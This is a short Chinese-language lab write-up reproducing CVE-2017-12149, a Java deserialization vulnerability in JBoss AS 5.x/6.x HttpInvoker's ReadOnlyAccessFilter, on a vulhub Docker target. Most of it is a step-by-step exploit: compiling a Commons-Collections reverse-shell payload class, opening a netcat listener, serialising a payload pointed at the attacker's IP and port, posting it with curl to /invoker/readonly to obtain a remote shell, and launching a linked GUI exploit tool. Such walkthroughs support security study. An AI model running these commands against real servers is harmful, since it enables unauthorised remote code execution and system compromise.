漏洞简介
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
受影响系统及应用版本 Jboss AS 5.x、Jboss AS 6.x
环境搭建
使用vulhub靶场
cd vulhub/jboss/CVE-2017-12149
docker-compose up -d
访问靶场
访问 JBoss漏洞页面,
http://your-ip:8080/invoker/readonly
如返回 HTTP Status 500,表示存在漏洞
漏洞复现
poc脚本
脚本地址http://scan.javasec.cn/java/JavaDeserH2HC.zip
解压至kali
1.编译预置 Payload 的 Java 文件(需要JDK环境)
在脚本目录下执行命令:
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
2.开启监听:nc -lvvp 2022
3.执行以下命令,反弹 Shell 的IP( Kali 攻击机的IP)和端口:
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap your-ip:port
4.使用 curl 命令向
http://your-ip:8080/invoker/readonly
提交payload(上面生成的反序列化对象):
curl http://your-ip:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
5.刚才 Kali 开启的监听 2022 端口的终端即可获得反弹 Shell:
工具利用
工具地址:https://github.com/yunxu1/jboss-_CVE-2017-12149
解压至kali
在工具目录下,启动工具:java -jar jboss反序列_CVE-2017-12149.jar
输入目标IP,点击执行,kali环境下没有检测出当前系统环境,但是可以执行命令。
参考链接:
版权归原作者 - Time 所有, 如有侵权,请联系我们删除。